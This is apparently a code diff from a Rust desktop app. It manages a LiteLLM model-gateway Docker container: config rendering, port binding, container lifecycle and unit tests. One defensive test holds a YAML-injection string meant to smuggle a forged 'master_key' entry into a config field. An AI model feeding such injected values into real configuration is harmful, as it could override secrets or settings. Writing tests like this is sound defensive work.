|
||||
.await
|
||||
.ok()?;
|
||||
network
|
||||
.ipam?
|
||||
.config?
|
||||
.into_iter()
|
||||
.find_map(|c| c.gateway.filter(|g| !g.trim().is_empty()))
|
||||
}
|
||||
|
||||
fn sha256_hex(input: &str) -> String {
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(input.as_bytes());
|
||||
format!("{:x}", hasher.finalize())
|
||||
}
|
||||
|
||||
pub async fn get_gateway_status(settings: &GatewaySettings) -> Result<GatewayStatus, String> {
|
||||
let image_exists = super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
|| super::image::image_exists(GATEWAY_LOCAL_IMAGE)
|
||||
.await
|
||||
.unwrap_or(false);
|
||||
|
||||
let (container_exists, running) = match find_gateway_container().await? {
|
||||
Some((_, state, _)) => (true, state == "running"),
|
||||
None => (false, false),
|
||||
};
|
||||
|
||||
Ok(GatewayStatus {
|
||||
container_exists,
|
||||
running,
|
||||
port: settings.port,
|
||||
image_exists,
|
||||
model_count: settings.valid_models().len(),
|
||||
has_api_key: secure::has_gateway_api_key(),
|
||||
base_url: gateway_binding().await.base_url(settings.port),
|
||||
})
|
||||
}
|
||||
|
||||
/// Whether a gateway container exists, and whether it is running. Used by the
|
||||
/// settings reconcile, which must not start anything the user never started.
|
||||
pub async fn gateway_container_presence() -> Result<(bool, bool), String> {
|
||||
Ok(match find_gateway_container().await? {
|
||||
Some((_, state, _)) => (true, state == "running"),
|
||||
None => (false, false),
|
||||
})
|
||||
}
|
||||
|
||||
/// Whether a container summary's names contain *exactly* our container.
|
||||
///
|
||||
/// Docker's `name` filter is an unanchored regex, so listing with it also
|
||||
/// returns `triple-c-gateway-backup`, `my-triple-c-gateway`, and anything else
|
||||
/// containing the string. Taking `.first()` of that would let this module
|
||||
/// adopt — and then force-remove — a container it does not own.
|
||||
/// `container::find_existing_container` matches exactly for the same reason.
|
||||
fn is_gateway_container(names: Option<&Vec<String>>) -> bool {
|
||||
let expected = format!("/{}", GATEWAY_CONTAINER_NAME);
|
||||
names.is_some_and(|names| names.iter().any(|n| n == &expected))
|
||||
}
|
||||
|
||||
/// `(id, state, config fingerprint label)` for the gateway container, if any.
|
||||
async fn find_gateway_container() -> Result<Option<(String, String, String)>, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
let filters: HashMap<String, Vec<String>> = HashMap::from([(
|
||||
"name".to_string(),
|
||||
vec![format!("/{}", GATEWAY_CONTAINER_NAME)],
|
||||
)]);
|
||||
|
||||
let containers = docker
|
||||
.list_containers(Some(ListContainersOptions {
|
||||
all: true,
|
||||
filters,
|
||||
..Default::default()
|
||||
}))
|
||||
.await
|
||||
.map_err(|e| format!("Failed to list containers: {}", e))?;
|
||||
|
||||
// The filter is a prefilter only — the exact-name check is what decides.
|
||||
for container in &containers {
|
||||
if !is_gateway_container(container.names.as_ref()) {
|
||||
continue;
|
||||
}
|
||||
let id = container.id.clone().unwrap_or_default();
|
||||
let state = container.state.clone().unwrap_or_default();
|
||||
let fingerprint = container
|
||||
.labels
|
||||
.as_ref()
|
||||
.and_then(|l| l.get(CONFIG_FINGERPRINT_LABEL))
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
|
||||
return Ok(Some((id, state, fingerprint)));
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Config generation
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Render a YAML double-quoted scalar.
|
||||
///
|
||||
/// Everything that reaches the config comes from user input (model names, base
|
||||
/// URLs, keys), so nothing may be interpolated raw — a stray `"` or newline
|
||||
/// would otherwise rewrite the document.
|
||||
fn yaml_str(value: &str) -> String {
|
||||
let mut out = String::with_capacity(value.len() + 2);
|
||||
out.push('"');
|
||||
for c in value.chars() {
|
||||
match c {
|
||||
'"' => out.push_str("\\\""),
|
||||
'\\' => out.push_str("\\\\"),
|
||||
'\n' => out.push_str("\\n"),
|
||||
'\r' => out.push_str("\\r"),
|
||||
'\t' => out.push_str("\\t"),
|
||||
c if (c as u32) < 0x20 => out.push_str(&format!("\\x{:02x}", c as u32)),
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
out.push('"');
|
||||
out
|
||||
}
|
||||
|
||||
/// The parts of the config that are safe to hash into a Docker label — i.e.
|
||||
/// everything except the two secrets, whose changes are tracked by the
|
||||
/// keychain rotation id instead.
|
||||
fn config_shape(settings: &GatewaySettings, binding: &GatewayBinding) -> String {
|
||||
let models: Vec<String> = settings
|
||||
.valid_models()
|
||||
.iter()
|
||||
.map(|m| format!("{}={}", m.name.trim(), m.model_id.trim()))
|
||||
.collect();
|
||||
// `bind` is part of the shape so that moving between engines (or a bridge
|
||||
// subnet change) recreates the container instead of leaving it published on
|
||||
// an address the new environment doesn't use.
|
||||
format!(
|
||||
"provider={};api_base={};port={};bind={};models={}",
|
||||
settings.provider.trim(),
|
||||
settings.api_base.as_deref().unwrap_or("").trim(),
|
||||
settings.port,
|
||||
binding.host_ip,
|
||||
models.join(",")
|
||||
)
|
||||
}
|
||||
|
||||
/// Render the LiteLLM config for the current settings.
|
||||
///
|
||||
/// `api_key` and `master_key` come from the keychain. The returned string
|
||||
/// contains both — it goes straight into the Docker upload and must never be
|
||||
/// logged or surfaced.
|
||||
fn render_config(settings: &GatewaySettings, api_key: &str, master_key: &str) -> String {
|
||||
let provider = settings.provider.trim();
|
||||
let api_base = settings
|
||||
.api_base
|
||||
.as_deref()
|
||||
.map(str::trim)
|
||||
.filter(|s| !s.is_empty());
|
||||
|
||||
let mut out = String::from(
|
||||
"# Generated by Triple-C — do not edit by hand; it is overwritten on every\n\
|
||||
# gateway (re)start from Settings → Model Gateway.\n\
|
||||
model_list:\n",
|
||||
);
|
||||
|
||||
for model in settings.valid_models() {
|
||||
out.push_str(&format!(" - model_name: {}\n", yaml_str(model.name.trim())));
|
||||
out.push_str(" litellm_params:\n");
|
||||
out.push_str(&format!(
|
||||
" model: {}\n",
|
||||
yaml_str(&format!("{}/{}", provider, model.model_id.trim()))
|
||||
));
|
||||
out.push_str(&format!(" api_key: {}\n", yaml_str(api_key)));
|
||||
if let Some(base) = api_base {
|
||||
out.push_str(&format!(" api_base: {}\n", yaml_str(base)));
|
||||
}
|
||||
}
|
||||
|
||||
out.push_str("general_settings:\n");
|
||||
out.push_str(&format!(" master_key: {}\n", yaml_str(master_key)));
|
||||
out.push_str("litellm_settings:\n");
|
||||
// Claude Code's Anthropic-format requests carry fields some providers
|
||||
// reject outright; dropping the unsupported ones is what lets the
|
||||
// translation survive across providers.
|
||||
out.push_str(" drop_params: true\n");
|
||||
|
||||
out
|
||||
}
|
||||
|
||||
/// Upload the rendered config into the container's config volume.
|
||||
///
|
||||
/// Runs against a *created but not yet started* container, which is when the
|
||||
/// volume already exists but LiteLLM has not read anything from it.
|
||||
async fn upload_config(container_id: &str, config: &str) -> Result<(), String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
let mut buf = Vec::new();
|
||||
{
|
||||
let mut archive = tar::Builder::new(&mut buf);
|
||||
let mut header = tar::Header::new_gnu();
|
||||
header.set_size(config.len() as u64);
|
||||
// World-readable: the upstream image may run LiteLLM as a non-root
|
||||
// user, and a root-owned 0600 file would simply be unreadable. The
|
||||
// secret is only exposed to the gateway container itself, which is
|
||||
// the one process that needs it.
|
||||
header.set_mode(0o644);
|
||||
header.set_cksum();
|
||||
archive
|
||||
.append_data(&mut header, "config.yaml", config.as_bytes())
|
||||
.map_err(|e| format!("Failed to build the gateway config archive: {}", e))?;
|
||||
archive
|
||||
.finish()
|
||||
.map_err(|e| format!("Failed to build the gateway config archive: {}", e))?;
|
||||
}
|
||||
let _ = buf.flush();
|
||||
|
||||
docker
|
||||
.upload_to_container(
|
||||
container_id,
|
||||
Some(UploadToContainerOptions {
|
||||
path: GATEWAY_CONFIG_DIR,
|
||||
..Default::default()
|
||||
}),
|
||||
buf.into(),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to upload the gateway config: {}", e))
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Lifecycle
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn create_gateway_container(
|
||||
settings: &GatewaySettings,
|
||||
binding: &GatewayBinding,
|
||||
fingerprint: &str,
|
||||
) -> Result<String, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
// Local build first, then the pinned upstream image — same precedence as
|
||||
// the STT container.
|
||||
let image = if super::image::image_exists(GATEWAY_LOCAL_IMAGE)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
GATEWAY_LOCAL_IMAGE.to_string()
|
||||
} else if super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
GATEWAY_REGISTRY_IMAGE.to_string()
|
||||
} else {
|
||||
return Err(
|
||||
"Gateway image not found. Please pull or build the image first.".to_string(),
|
||||
);
|
||||
};
|
||||
|
||||
let mut port_bindings = HashMap::new();
|
||||
port_bindings.insert(
|
||||
format!("{}/tcp", GATEWAY_INTERNAL_PORT),
|
||||
Some(vec![PortBinding {
|
||||
// Never `0.0.0.0`: the narrowest host address project containers
|
||||
// can still reach. See `GatewayBinding`.
|
||||
host_ip: Some(binding.host_ip.clone()),
|
||||
host_port: Some(settings.port.to_string()),
|
||||
}]),
|
||||
);
|
||||
|
||||
let mut exposed_ports: HashMap<String, HashMap<(), ()>> = HashMap::new();
|
||||
exposed_ports.insert(format!("{}/tcp", GATEWAY_INTERNAL_PORT), HashMap::new());
|
||||
|
||||
let host_config = HostConfig {
|
||||
port_bindings: Some(port_bindings),
|
||||
mounts: Some(vec![Mount {
|
||||
target: Some(GATEWAY_CONFIG_DIR.to_string()),
|
||||
source: Some(GATEWAY_CONFIG_VOLUME.to_string()),
|
||||
typ: Some(MountTypeEnum::VOLUME),
|
||||
..Default::default()
|
||||
}]),
|
||||
init: Some(true),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
// Non-secret only. Labels are readable by anything on the host.
|
||||
let mut labels = HashMap::new();
|
||||
labels.insert(CONFIG_FINGERPRINT_LABEL.to_string(), fingerprint.to_string());
|
||||
labels.insert(
|
||||
"triple-c.gateway.port".to_string(),
|
||||
settings.port.to_string(),
|
||||
);
|
||||
labels.insert("triple-c.gateway.bind".to_string(), binding.host_ip.clone());
|
||||
labels.insert(
|
||||
"triple-c.gateway.provider".to_string(),
|
||||
settings.provider.trim().to_string(),
|
||||
);
|
||||
|
||||
let config = Config {
|
||||
image: Some(image),
|
||||
// The upstream entrypoint (`docker/prod_entrypoint.sh`) execs
|
||||
// `litellm "$@"`. Passed explicitly so the pulled upstream image and
|
||||
// our locally built one behave identically.
|
||||
cmd: Some(vec![
|
||||
"--config".to_string(),
|
||||
GATEWAY_CONFIG_PATH.to_string(),
|
||||
"--host".to_string(),
|
||||
"0.0.0.0".to_string(),
|
||||
"--port".to_string(),
|
||||
GATEWAY_INTERNAL_PORT.to_string(),
|
||||
]),
|
||||
exposed_ports: Some(exposed_ports),
|
||||
host_config: Some(host_config),
|
||||
labels: Some(labels),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let options = CreateContainerOptions {
|
||||
name: GATEWAY_CONTAINER_NAME,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let response = docker
|
||||
.create_container(Some(options), config)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to create gateway container: {}", e))?;
|
||||
|
||||
Ok(response.id)
|
||||
}
|
||||
|
||||
/// Serialises every mutation of the single fixed-name gateway container.
|
||||
///
|
||||
/// `ensure_gateway_running` is check-then-act over one container name, so two
|
||||
/// concurrent callers — the setup auto-start and the user's Start button is the
|
||||
/// realistic pair — would both see `None` and both try to create it, and the
|
||||
/// loser would surface a raw Docker 409. Migration guards the same shape with
|
||||
/// `ActiveGuard`; here the right behaviour is to *serialise* rather than
|
||||
/// refuse, because the second caller then observes the first's container, finds
|
||||
/// a matching fingerprint, and returns its status — which is exactly what it
|
||||
/// asked for.
|
||||
fn gateway_lock() -> &'static Mutex<()> {
|
||||
static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
|
||||
LOCK.get_or_init(|| Mutex::new(()))
|
||||
}
|
||||
|
||||
pub async fn ensure_gateway_running(settings: &GatewaySettings) -> Result<GatewayStatus, String> {
|
||||
let _guard = gateway_lock().lock().await;
|
||||
ensure_gateway_running_locked(settings).await
|
||||
}
|
||||
|
||||
async fn ensure_gateway_running_locked(
|
||||
settings: &GatewaySettings,
|
||||
) -> Result<GatewayStatus, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
if settings.valid_models().is_empty() {
|
||||
return Err(
|
||||
"The gateway has no models configured. Add at least one model in Settings."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
let api_key = secure::get_gateway_api_key()?
|
||||
.filter(|k| !k.trim().is_empty())
|
||||
.ok_or_else(|| {
|
||||
"No provider API key stored for the gateway. Add one in Settings.".to_string()
|
||||
})?;
|
||||
let master_key = secure::get_or_create_gateway_master_key()?;
|
||||
|
||||
let binding = gateway_binding().await;
|
||||
|
||||
// Rotation id, not a hash of either secret — see `storage::secure`.
|
||||
let secret_version = secure::get_gateway_secret_version()?.unwrap_or_default();
|
||||
let fingerprint = sha256_hex(&format!(
|
||||
"{}|{}",
|
||||
config_shape(settings, &binding),
|
||||
secret_version
|
||||
));
|
||||
|
||||
if let Some((id, state, existing_fingerprint)) = find_gateway_container().await? {
|
||||
if existing_fingerprint == fingerprint {
|
||||
if state == "running" {
|
||||
return get_gateway_status(settings).await;
|
||||
}
|
||||
docker
|
||||
.start_container(&id, None::<StartContainerOptions<String>>)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to start gateway container: {}", e))?;
|
||||
return get_gateway_status(settings).await;
|
||||
}
|
||||
|
||||
// Config or a secret changed — recreate so the new config is uploaded.
|
||||
if state == "running" {
|
||||
docker
|
||||
.stop_container(&id, None::<StopContainerOptions>)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to stop gateway container: {}", e))?;
|
||||
}
|
||||
docker
|
||||
.remove_container(
|
||||
&id,
|
||||
Some(RemoveContainerOptions {
|
||||
force: true,
|
||||
..Default::default()
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to remove gateway container: {}", e))?;
|
||||
}
|
||||
|
||||
let id = create_gateway_container(settings, &binding, &fingerprint).await?;
|
||||
|
||||
// Upload before the first start: LiteLLM reads the config once at boot.
|
||||
let rendered = render_config(settings, &api_key, &master_key);
|
||||
if let Err(e) = upload_config(&id, &rendered).await {
|
||||
// Don't leave a half-configured container behind for the next run to
|
||||
// mistake for a good one.
|
||||
let _ = docker
|
||||
.remove_container(
|
||||
&id,
|
||||
Some(RemoveContainerOptions {
|
||||
force: true,
|
||||
..Default::default()
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
docker
|
||||
.start_container(&id, None::<StartContainerOptions<String>>)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to start gateway container: {}", e))?;
|
||||
|
||||
log::info!(
|
||||
"Model gateway started on {}:{} ({} model(s))",
|
||||
binding.host_ip,
|
||||
settings.port,
|
||||
settings.valid_models().len()
|
||||
);
|
||||
|
||||
get_gateway_status(settings).await
|
||||
}
|
||||
|
||||
/// Grace period given to LiteLLM on stop. The Docker default is 10s, which app
|
||||
/// exit cannot afford to spend on a proxy that holds no state worth flushing.
|
||||
const GATEWAY_STOP_GRACE_SECS: i64 = 3;
|
||||
|
||||
pub async fn stop_gateway_container() -> Result<(), String> {
|
||||
// Same lock as `ensure_gateway_running`, so a stop can't interleave with a
|
||||
// create/start and leave a container running behind a "stopped" return.
|
||||
let _guard = gateway_lock().lock().await;
|
||||
let docker = get_docker()?;
|
||||
|
||||
if let Some((id, state, _)) = find_gateway_container().await? {
|
||||
if state == "running" {
|
||||
docker
|
||||
.stop_container(
|
||||
&id,
|
||||
Some(StopContainerOptions {
|
||||
t: GATEWAY_STOP_GRACE_SECS,
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to stop gateway container: {}", e))?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Ask the running gateway whether it is up. LiteLLM takes several seconds to
|
||||
/// boot, so "container running" and "gateway answering" are not the same thing.
|
||||
pub async fn check_gateway_health(port: u16) -> Result<bool, String> {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| format!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
// Dial whatever the container is actually published on — with a
|
||||
// bridge-gateway bind, the host's loopback answers nothing.
|
||||
let base = gateway_binding().await.host_url(port);
|
||||
|
||||
match client
|
||||
.get(format!("{}/health/liveliness", base))
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(response) => Ok(response.status().is_success()),
|
||||
Err(e) if e.is_connect() || e.is_timeout() => Ok(false),
|
||||
Err(e) => Err(format!("Gateway health check failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn pull_gateway_image<F>(on_progress: F) -> Result<(), String>
|
||||
where
|
||||
F: Fn(String) + Send + 'static,
|
||||
{
|
||||
super::image::pull_image(GATEWAY_REGISTRY_IMAGE, on_progress).await
|
||||
}
|
||||
|
||||
pub async fn build_gateway_image<F>(on_progress: F) -> Result<(), String>
|
||||
where
|
||||
F: Fn(String) + Send + 'static,
|
||||
{
|
||||
let docker = get_docker()?;
|
||||
|
||||
let tar_bytes = create_gateway_build_context()
|
||||
.map_err(|e| format!("Failed to create gateway build context: {}", e))?;
|
||||
|
||||
let options = BuildImageOptions {
|
||||
t: GATEWAY_LOCAL_IMAGE,
|
||||
rm: true,
|
||||
forcerm: true,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let mut stream = docker.build_image(options, None, Some(tar_bytes.into()));
|
||||
|
||||
while let Some(result) = stream.next().await {
|
||||
match result {
|
||||
Ok(output) => {
|
||||
if let Some(stream) = output.stream {
|
||||
on_progress(stream);
|
||||
}
|
||||
if let Some(error) = output.error {
|
||||
return Err(format!("Build error: {}", error));
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(format!("Build stream error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn create_gateway_build_context() -> Result<Vec<u8>, std::io::Error> {
|
||||
let mut buf = Vec::new();
|
||||
{
|
||||
let mut archive = tar::Builder::new(&mut buf);
|
||||
|
||||
let mut dockerfile_header = tar::Header::new_gnu();
|
||||
dockerfile_header.set_size(GATEWAY_DOCKERFILE.len() as u64);
|
||||
dockerfile_header.set_mode(0o644);
|
||||
dockerfile_header.set_cksum();
|
||||
archive.append_data(
|
||||
&mut dockerfile_header,
|
||||
"Dockerfile",
|
||||
GATEWAY_DOCKERFILE.as_bytes(),
|
||||
)?;
|
||||
|
||||
let mut config_header = tar::Header::new_gnu();
|
||||
config_header.set_size(GATEWAY_DEFAULT_CONFIG.len() as u64);
|
||||
config_header.set_mode(0o644);
|
||||
config_header.set_cksum();
|
||||
archive.append_data(
|
||||
&mut config_header,
|
||||
"config.yaml",
|
||||
GATEWAY_DEFAULT_CONFIG.as_bytes(),
|
||||
)?;
|
||||
|
||||
archive.finish()?;
|
||||
}
|
||||
|
||||
let _ = buf.flush();
|
||||
Ok(buf)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::models::gateway_settings::GatewayModel;
|
||||
|
||||
fn settings() -> GatewaySettings {
|
||||
GatewaySettings {
|
||||
enabled: true,
|
||||
port: 4000,
|
||||
provider: "openai".to_string(),
|
||||
api_base: None,
|
||||
models: vec![
|
||||
GatewayModel {
|
||||
name: "gpt-5.1".to_string(),
|
||||
model_id: "gpt-5.1".to_string(),
|
||||
},
|
||||
// Half-filled rows must not reach the YAML.
|
||||
GatewayModel {
|
||||
name: " ".to_string(),
|
||||
model_id: "gpt-4o".to_string(),
|
||||
},
|
||||
],
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn valid_models_skips_incomplete_rows() {
|
||||
assert_eq!(settings().valid_models().len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn render_config_composes_provider_and_model_id() {
|
||||
let yaml = render_config(&settings(), "sk-provider", "sk-master");
|
||||
assert!(yaml.contains("model_name: \"gpt-5.1\""));
|
||||
assert!(yaml.contains("model: \"openai/gpt-5.1\""));
|
||||
assert!(yaml.contains("api_key: \"sk-provider\""));
|
||||
assert!(yaml.contains("master_key: \"sk-master\""));
|
||||
assert!(yaml.contains("drop_params: true"));
|
||||
// The skipped row must be absent.
|
||||
assert!(!yaml.contains("gpt-4o"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn render_config_emits_api_base_only_when_set() {
|
||||
let mut s = settings();
|
||||
assert!(!render_config(&s, "k", "m").contains("api_base"));
|
||||
s.api_base = Some("https://example.test/v1".to_string());
|
||||
assert!(render_config(&s, "k", "m").contains("api_base: \"https://example.test/v1\""));
|
||||
// Blank is treated as unset rather than emitted as an empty URL.
|
||||
s.api_base = Some(" ".to_string());
|
||||
assert!(!render_config(&s, "k", "m").contains("api_base"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn yaml_str_escapes_injection_attempts() {
|
||||
let hostile = "a\"\nmaster_key: \"pwned";
|
||||
let quoted = yaml_str(hostile);
|
||||
assert!(quoted.starts_with('"') && quoted.ends_with('"'));
|
||||
// No raw newline can escape the scalar and start a new YAML key.
|
||||
assert!(!quoted[1..quoted.len() - 1].contains('\n'));
|
||||
assert!(quoted.contains("\\\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn config_shape_excludes_secrets_and_tracks_changes() {
|
||||
let binding = GatewayBinding::desktop();
|
||||
let a = config_shape(&settings(), &binding);
|
||||
let mut s = settings();
|
||||
s.models[0].model_id = "gpt-4.1".to_string();
|
||||
assert_ne!(a, config_shape(&s, &binding));
|
||||
assert!(!a.contains("sk-"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn config_shape_tracks_the_bind_address() {
|
||||
// Moving between engines must recreate the container rather than leave
|
||||
// it published on an address the new environment doesn't use.
|
||||
let s = settings();
|
||||
assert_ne!(
|
||||
config_shape(&s, &GatewayBinding::desktop()),
|
||||
config_shape(&s, &GatewayBinding::bridge("172.17.0.1"))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn docker_desktop_binds_loopback_and_hands_out_host_docker_internal() {
|
||||
let binding = binding_for("Docker Desktop", None);
|
||||
assert_eq!(binding.host_ip, "127.0.0.1");
|
||||
assert_eq!(binding.base_url(4000), "http://host.docker.internal:4000");
|
||||
// Detection must not depend on the bridge answer on this engine.
|
||||
assert_eq!(binding, binding_for("Docker Desktop", Some("172.17.0.1")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn native_linux_binds_the_bridge_gateway_it_reports() {
|
||||
// A project container can't reach the host's loopback here, but it can
|
||||
// reach the bridge gateway — and so can nothing on the LAN.
|
||||
let binding = binding_for("Ubuntu 24.04.1 LTS", Some("172.19.0.1"));
|
||||
assert_eq!(binding.host_ip, "172.19.0.1");
|
||||
assert_eq!(binding.base_url(4000), "http://172.19.0.1:4000");
|
||||
assert_eq!(binding.host_url(4000), "http://172.19.0.1:4000");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_missing_bridge_answer_falls_back_to_the_documented_default() {
|
||||
for reported in [None, Some(""), Some(" ")] {
|
||||
assert_eq!(
|
||||
binding_for("Ubuntu 24.04.1 LTS", reported).host_ip,
|
||||
"172.17.0.1"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_engine_shape_ever_binds_a_wildcard_address() {
|
||||
// The regression this guards: the published port fronts a container
|
||||
// config holding a billed provider key, and Docker's rules sit ahead of
|
||||
// the host firewall.
|
||||
for os in ["Docker Desktop", "Ubuntu 24.04.1 LTS", "", "Rancher Desktop"] {
|
||||
for gw in [None, Some("172.17.0.1"), Some("10.0.0.1")] {
|
||||
let host_ip = binding_for(os, gw).host_ip;
|
||||
assert_ne!(host_ip, "0.0.0.0", "os={:?} gw={:?}", os, gw);
|
||||
assert_ne!(host_ip, "::", "os={:?} gw={:?}", os, gw);
|
||||
assert!(!host_ip.is_empty());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_the_exact_container_name_is_adopted() {
|
||||
// Docker's `name` filter is an unanchored regex: all of these come back
|
||||
// from a filtered list. Adopting one would force-remove a user's
|
||||
// container.
|
||||
assert!(is_gateway_container(Some(&vec![
|
||||
"/triple-c-gateway".to_string()
|
||||
])));
|
||||
assert!(is_gateway_container(Some(&vec![
|
||||
"/something-else".to_string(),
|
||||
"/triple-c-gateway".to_string(),
|
||||
])));
|
||||
for impostor in [
|
||||
"/triple-c-gateway-backup",
|
||||
"/my-triple-c-gateway",
|
||||
"/triple-c-gateway2",
|
||||
"triple-c-gateway",
|
||||
] {
|
||||
assert!(
|
||||
!is_gateway_container(Some(&vec![impostor.to_string()])),
|
||||
"{} must not be adopted",
|
||||
impostor
|
||||
);
|
||||
}
|
||||
assert!(!is_gateway_container(None));
|
||||
assert!(!is_gateway_container(Some(&vec![])));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn the_gateway_lock_serialises_concurrent_callers() {
|
||||
// The auto-start racing the Start button: both would otherwise see no
|
||||
// container and both create one, and the loser gets a Docker 409.
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
|
||||
let inside = Arc::new(AtomicUsize::new(0));
|
||||
let overlaps = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
for _ in 0..8 {
|
||||
let inside = inside.clone();
|
||||
let overlaps = overlaps.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _guard = gateway_lock().lock().await;
|
||||
if inside.fetch_add(1, Ordering::SeqCst) != 0 {
|
||||
overlaps.fetch_add(1, Ordering::SeqCst);
|
||||
}
|
||||
tokio::task::yield_now().await;
|
||||
tokio::time::sleep(std::time::Duration::from_millis(1)).await;
|
||||
inside.fetch_sub(1, Ordering::SeqCst);
|
||||
}));
|
||||
}
|
||||
for t in tasks {
|
||||
t.await.unwrap();
|
||||
}
|
||||
|
||||
assert_eq!(overlaps.load(Ordering::SeqCst), 0);
|
||||
assert_eq!(inside.load(Ordering::SeqCst), 0);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,9 +2,13 @@ pub mod client;
|
||||
pub mod container;
|
||||
pub mod image;
|
||||
pub mod exec;
|
||||
pub mod gateway;
|
||||
pub mod legacy_cleanup;
|
||||
pub mod migration;
|
||||
pub mod stt;
|
||||
|
||||
#[allow(unused_imports)]
|
||||
pub use gateway::*;
|
||||
#[allow(unused_imports)]
|
||||
pub use stt::*;
|
||||
#[allow(unused_imports)]
|
||||
@@ -17,3 +21,5 @@ pub use image::*;
|
||||
pub use exec::*;
|
||||
#[allow(unused_imports)]
|
||||
pub use legacy_cleanup::*;
|
||||
#[allow(unused_imports)]
|
||||
pub use migration::*;
|
||||
|
||||
+422
-23
@@ -1,4 +1,5 @@
|
||||
mod auth_bridge;
|
||||
mod browser_view;
|
||||
mod commands;
|
||||
mod docker;
|
||||
mod install_helper;
|
||||
@@ -7,13 +8,17 @@ mod models;
|
||||
mod storage;
|
||||
pub mod web_terminal;
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
|
||||
use auth_bridge::AuthBridgeManager;
|
||||
use docker::exec::ExecSessionManager;
|
||||
use storage::projects_store::ProjectsStore;
|
||||
use storage::settings_store::SettingsStore;
|
||||
use tauri::Manager;
|
||||
use tauri::async_runtime::JoinHandle;
|
||||
use tauri::{Emitter, Manager};
|
||||
use tokio::sync::watch;
|
||||
use web_terminal::WebTerminalServer;
|
||||
|
||||
pub struct AppState {
|
||||
@@ -22,6 +27,161 @@ pub struct AppState {
|
||||
pub exec_manager: Arc<ExecSessionManager>,
|
||||
pub auth_bridge: Arc<AuthBridgeManager>,
|
||||
pub web_terminal_server: Arc<tokio::sync::Mutex<Option<WebTerminalServer>>>,
|
||||
pub lifecycle: Arc<Lifecycle>,
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Startup / shutdown coordination
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Total wall-clock budget for teardown before the process exits regardless.
|
||||
///
|
||||
/// Six teardown steps used to run *serially* inside a `block_on` on the
|
||||
/// window-event thread with no timeout: two container stops at Docker's default
|
||||
/// 10s grace, a `docker exec` per browser-view project, and every bollard call
|
||||
/// inheriting a 120s client timeout. Quitting after Docker Desktop had already
|
||||
/// gone away froze the window for minutes. Nothing here is worth more than a
|
||||
/// few seconds of a user's exit.
|
||||
const SHUTDOWN_BUDGET: Duration = Duration::from_secs(8);
|
||||
|
||||
/// How long the in-flight auto-start tasks get to notice cancellation before
|
||||
/// they are aborted. They only have to reach their next await point.
|
||||
const STARTUP_CANCEL_BUDGET: Duration = Duration::from_secs(3);
|
||||
|
||||
/// Backoff (seconds) between auto-start attempts. Docker Desktop routinely
|
||||
/// takes 30-60s to accept API calls after login, which is exactly the window in
|
||||
